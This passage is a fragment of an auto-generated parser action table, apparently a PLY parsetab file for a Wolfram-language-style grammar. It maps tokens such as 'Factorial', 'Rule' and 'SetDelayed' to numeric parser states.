72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[18,18,-123,18,18,-126,18,18,18,-125,-122,-124,18,18,18,-119,18,18,18,-121,18,18,18,18,18,18,18,-120,-118,18,18,18,18,18,18,18,-179,18,18,18,18,18,18,18,18,18,18,-127,18,18,18,18,18,18,18,18,-16,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,-68,18,18,18,18,18,18,18,18,18,-137,18,18,18,18,-69,18,18,18,18,18,18,18,18,-106,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,-17,18,-39,18,18,18,18,18,18,18,18,18,18,18,-18,18,18,18,18,18,18,18,18,18,-89,18,18,18,18,18,18,18,18,18,-169,18,18,18,18,18,-107,18,18,18,18,18,18,18,18,-180,18,18,18,18,18,-194,18,-175,18,18,18,-105,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,-172,18,18,18,18,-171,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,-130,-131,18,18,18,18,18,18,18,18,18,18,18,18,18,18,-109,18,-122,18,18,-189,-191,-192,-187,-185,-183,18,-195,-176,18,18,18,-168,18,18,18,-108,18,18,18,18,18,18,-193,18,18,18,18,-129,-128,18,-188,-190,-186,-184,-110,]),'Factorial':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[19,19,-123,19,19,-126,19,19,19,-125,-122,-124,19,19,19,-119,19,19,19,-121,19,19,19,127,19,19,19,-120,-118,19,127,127,127,127,127,19,-179,19,19,127,19,19,127,127,127,127,19,-127,127,127,127,127,127,19,19,19,-16,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,-68,19,19,19,19,19,19,19,19,19,-137,19,19,19,19,-69,19,19,19,19,19,19,19,19,-106,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,-37,19,19,19,19,19,19,19,19,-17,19,-39,19,19,19,19,19,19,127,19,19,19,-45,-18,19,19,19,19,-36,19,19,19,19,-89,19,19,19,19,19,19,19,19,19,-169,19,19,19,19,19,-107,-22,-132,127,127,19,19,-133,19,-180,19,19,19,19,19,-194,19,-175,127,19,127,-105,127,127,127,127,127,127,127,127,127,127,-52,127,127,127,127,-64,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,-172,127,127,127,127,-171,127,127,-136,127,-5,127,127,127,127,127,127,127,127,127,127,127,127,127,127,19,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,127,-134,127,127,127,127,127,127,-53,127,-130,-131,127,127,127,127,127,127,127,19,127,127,127,127,127,127,-109,19,-122,127,127,-189,-191,-192,-187,-185,-183,19,-195,-176,127,19,19,-168,19,19,127,-108,127,19,19,19,19,19,-193,127,127,-135,127,-129,-128,127,-188,-190,-186,-184,-110,]),'op_GreaterEqual':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,128,-120,-118,-142,-141,128,-140,128,128,-79,128,128,-155,-156,-127,128,-143,128,-23,128,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,128,128,-133,-175,128,-154,-152,-105,-65,-29,-92,128,128,-99,-31,128,128,-48,-52,128,-43,128,-139,-64,-26,128,128,-8,-13,128,-90,128,128,-66,128,128,128,-51,128,-6,128,-91,-78,-172,128,128,128,128,-171,-46,-11,-136,-58,-5,-147,-144,128,-146,128,-56,-41,128,-21,128,-97,-96,128,-153,-156,-10,-24,-80,-9,-40,-54,128,-32,128,128,128,-19,128,128,128,-100,128,-145,-61,128,128,-134,128,-20,-42,-50,128,128,-53,-67,-130,-131,-49,128,128,-12,128,-33,128,-82,128,128,128,128,128,-109,-122,128,-138,-176,-151,-168,-154,-150,-108,128,128,128,-135,-149,-129,-128,128,-110,]),'MinusPlus':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[20,20,-123,20,20,-126,20,20,20,-125,-122,-124,20,20,20,-119,20,20,20,-121,20,20,20,129,20,20,20,-120,-118,20,-142,-141,129,-140,129,20,-179,20,20,129,20,20,-79,129,129,129,20,-127,129,-143,129,-23,129,20,20,20,-16,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,-68,20,20,20,20,20,20,20,20,20,-137,20,20,20,20,-69,20,20,20,20,20,20,20,20,-106,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,-37,20,20,20,20,20,20,20,20,-17,20,-39,20,20,20,20,20,20,-148,20,20,20,-45,-18,20,20,20,20,-36,20,20,20,20,-89,20,20,20,20,20,20,20,20,20,-169,20,20,20,20,20,-107,-22,-132,129,129,20,20,-133,20,-180,20,20,20,20,20,-194,20,-175,129,20,129,-105,-65,129,129,129,129,-99,129,129,129,129,-52,129,129,129,-139,-64,-26,129,129,-8,-13,129,129,129,129,-66,129,129,129,129,129,-6,129,129,-78,-172,129,129,129,129,-171,129,-11,-136,129,-5,-147,-144,129,-146,129,-56,129,129,-21,129,129,-96,129,129,20,-10,-24,-80,-9,129,-54,129,129,129,129,129,-19,129,129,129,-100,129,-145,129,129,129,-134,129,-20,129,129,129,129,-53,-67,-130,-131,129,129,129,-12,129,129,129,20,-82,129,129,129,129,129,-109,20,-122,129,-138,-189,-191,-192,-187,-185,-183,20,-195,-176,129,20,20,-168,20,20,129,-108,129,20,20,20,20,20,-193,129,129,-135,129,-129,-128,129,-188,-190,-186,-184,-110,]),'blankdefault':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[21,21,-123,21,21,-126,21,21,21,-125,-122,-124,21,21,21,-119,21,21,21,-121,21,21,21,21,21,21,21,-120,-118,21,-142,-141,21,-140,21,21,-179,21,21,21,21,21,-79,21,21,21,21,-127,21,-143,21,-23,21,21,21,21,-16,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,-68,21,21,21,21,21,21,21,21,21,-137,21,21,21,21,-69,21,21,21,21,21,21,21,21,-106,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,-37,21,21,21,21,21,21,21,21,-17,21,-39,21,21,21,21,21,21,-148,21,21,21,-45,-18,21,21,21,21,-36,21,21,21,21,-89,21,21,21,21,21,21,21,21,21,-169,21,21,21,21,21,-107,-22,-132,21,21,21,21,-133,21,-180,21,21,21,21,21,-194,21,-175,21,21,21,-105,21,21,21,21,21,21,21,21,21,21,-52,21,21,21,21,-64,-26,21,21,21,-13,21,21,21,21,21,21,21,21,21,21,-6,21,21,-78,-172,21,21,21,21,-171,21,21,-136,21,-5,-147,-144,21,-146,21,-56,21,21,21,21,21,-96,21,21,21,-10,-24,21,-9,21,21,21,21,21,21,21,21,21,21,21,-100,21,-145,21,21,21,-134,21,-20,21,21,21,21,-53,-67,-130,-131,21,21,21,21,21,21,21,21,-82,21,21,21,21,21,-109,21,-122,21,-138,-189,-191,-192,-187,-185,-183,21,-195,-176,21,21,21,-168,21,21,21,-108,21,21,21,21,21,21,-193,21,21,-135,21,-129,-128,21,-188,-190,-186,-184,-110,]),'ForAll':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[22,22,-123,22,22,-126,22,22,22,-125,-122,-124,22,22,22,-119,-156,22,22,-121,22,22,22,22,22,22,22,-120,-118,22,-142,-141,22,-140,22,22,-179,22,22,22,22,22,-79,22,22,-155,-156,-127,22,-143,22,-23,22,22,22,22,-16,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,-68,22,22,22,22,22,22,22,22,22,-137,22,22,22,22,-69,22,22,22,22,22,22,22,22,-106,22,22,22,22,22,22,22,22,22,22,-154,22,22,22,22,-37,22,22,22,22,22,22,22,22,-17,22,-39,22,22,22,22,22,22,-148,22,22,22,-45,-18,22,22,22,22,-36,22,22,22,22,-89,22,22,22,22,22,22,22,22,22,-169,22,22,22,22,22,-107,-22,-132,22,22,22,22,-133,22,-180,22,22,22,22,22,-194,22,-175,22,-154,-152,-105,-65,-29,-92,22,22,-99,-31,22,22,-48,-52,-59,-43,22,-139,-64,-26,-93,22,-8,-13,22,-90,22,22,-66,22,22,22,-51,22,-6,22,-91,-78,-172,22,22,22,22,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,22,-56,-41,22,-21,22,-97,-96,22,-153,-156,-10,-24,-80,-9,-40,-54,22,-32,22,22,22,-19,22,22,22,-100,22,-145,-61,22,22,-134,22,-20,-42,-50,22,22,-53,-67,-130,-131,-49,-86,22,-12,22,-33,-30,22,-82,-83,22,22,22,22,-109,22,-122,22,-138,-189,-191,-192,-187,-185,-183,22,-195,-176,-151,22,22,-168,22,-154,-150,-108,22,22,22,22,22,22,-193,22,22,-135,-149,-129,-128,22,-188,-190,-186,-184,-110,]),'Condition':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,130,-120,-118,-142,-141,-157,-140,130,130,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,130,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,130,-133,-175,-162,-154,-152,-105,-65,-29,-92,130,130,-99,-31,-47,130,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,130,-66,-63,130,130,-51,130,-6,130,-91,-78,-172,-101,-72,130,130,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,130,-21,-27,-97,-96,130,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,130,-81,130,-19,-85,130,-3,-100,130,-145,-61,-2,130,-134,-102,-20,-42,-50,130,130,-53,-67,-130,-131,-49,-86,-44,-12,130,-33,-30,-82,-83,130,-4,130,130,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,130,130,130,-135,-149,-129,-128,-160,-110,]),'LongEqual':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,131,-120,-118,-142,-141,131,-140,131,131,-79,131,131,-155,-156,-127,131,-143,131,-23,131,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,131,131,-133,-175,131,-154,-152,-105,-65,-29,-92,131,131,-99,-31,131,131,-48,-52,131,-43,131,-139,-64,-26,131,131,-8,-13,131,-90,131,131,-66,131,131,131,-51,131,-6,131,-91,-78,-172,131,131,131,131,-171,-46,-11,-136,-58,-5,-147,-144,131,-146,131,-56,-41,131,-21,131,-97,-96,131,-153,-156,-10,-24,-80,-9,-40,-54,131,-32,131,131,131,-19,131,131,131,-100,131,-145,-61,131,131,-134,131,-20,-42,-50,131,131,-53,-67,-130,-131,-49,131,131,-12,131,-33,131,-82,131,131,131,131,131,-109,-122,131,-138,-176,-151,-168,-154,-150,-108,131,131,131,-135,-149,-129,-128,131,-110,]),'SetDelayed':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,132,-120,-118,-142,-141,-157,-140,132,132,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,132,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,132,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,132,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,132,-66,-63,-7,132,-51,-84,-6,328,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,132,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,132,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,132,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,132,-4,-70,-14,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,132,132,132,-135,-149,-129,-128,-160,-110,]),'StringExpression':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,133,-120,-118,-142,-141,-157,-140,133,133,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,133,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,133,-133,-175,-162,-154,-152,-105,-65,-29,-92,133,133,-99,-31,-47,133,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,133,-66,-63,133,133,-51,133,-6,133,-91,-78,-172,-101,-72,133,133,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,133,-21,-27,-97,-96,133,-153,-156,-10,-24,-80,-9,-40,-54,133,-32,133,-81,133,-19,-85,133,-3,-100,133,-145,-61,-2,133,-134,-102,-20,-42,-50,133,133,-53,-67,-130,-131,-49,-86,-44,-12,133,-33,-30,-82,-83,133,-4,133,133,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,133,133,133,-135,-149,-129,-128,-160,-110,]),'Underscript':([2,5,9,10,11,16,17,21,30,31,33,34,35,36,39,43,47,48,49,50,51,52,53,54,55,56,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,186,188,195,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,317,318,319,320,321,322,324,325,326,329,331,332,335,343,344,345,346,347,348,349,351,352,353,354,355,356,],[-123,-126,-125,-122,-124,-119,-156,-121,-120,-118,-142,-141,-157,-140,190,-177,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,-133,190,190,-175,-162,-154,-152,-105,-65,-29,-92,-71,-94,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,-165,-66,-63,-7,-173,-51,-84,-6,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,-167,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,-170,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,-95,-4,-70,-14,-109,-122,-161,-138,190,190,190,190,190,-183,190,-176,-151,-168,-154,-150,-108,190,-164,-166,-135,-149,-129,-128,-160,190,190,190,190,-110,]),'Rule':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,134,-120,-118,-142,-141,-157,-140,134,134,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,134,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,134,-133,-175,-162,-154,-152,-105,-65,-29,-92,134,134,-99,-31,-47,134,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,134,-66,-63,134,134,-51,134,-6,134,-91,-78,-172,-101,-72,134,134,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,134,-21,-27,-97,-96,134,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,134,-81,134,-19,-85,134,-3,-100,134,-145,-61,-2,134,-134,-102,-20,-42,-50,134,134,-53,-67,-130,-131,-49,-86,-44,-12,134,-33,-30,-82,-83,134,-4,134,134,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,134,134,134,-135,-149,-129,-128,-160,-110,]),'Coproduct':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,135,-120,-118,-142,-141,135,-140,135,135,-79,135,135,135,-156,-127,135,-143,135,-23,135,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,135,135,-133,-175,135,-154,135,-105,135,135,135,135,135,-99,135,135,135,135,-52,135,135,135,135,-64,-26,135,135,135,-13,135,135,135,135,135,135,135,135,135,135,-6,135,135,-78,-172,135,135,135,135,-171,135,135,-136,135,-5,-147,-144,135,-146,135,-56,135,135,135,135,135,-96,135,135,-156,-10,-24,-80,-9,135,135,135,135,135,135,135,-19,135,135,135,-100,135,-145,135,135,135,-134,135,-20,135,135,135,135,-53,-67,-130,-131,135,135,135,135,135,135,135,-82,135,135,135,135,135,-109,-122,135,-138,-176,135,-168,-154,135,-108,135,135,135,-135,135,-129,-128,135,-110,]),'LeftBoxParenthesisInternal':([2,5,8,9,10,11,16,17,21,30,31,33,34,35,36,38,39,40,41,43,46,47,48,49,50,51,52,53,54,55,56,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,186,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,317,318,319,320,321,322,323,324,325,326,329,331,332,335,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[-123,-126,40,-125,-122,-124,-119,-156,-121,-120,-118,-142,-141,-157,-140,40,-179,40,40,-177,40,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,-133,-180,40,40,40,40,40,-194,40,-175,-162,-154,-152,-105,-65,-29,-92,-71,-94,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,-165,-66,-63,-7,-173,-51,-84,-6,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,-167,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,-170,-53,-67,-13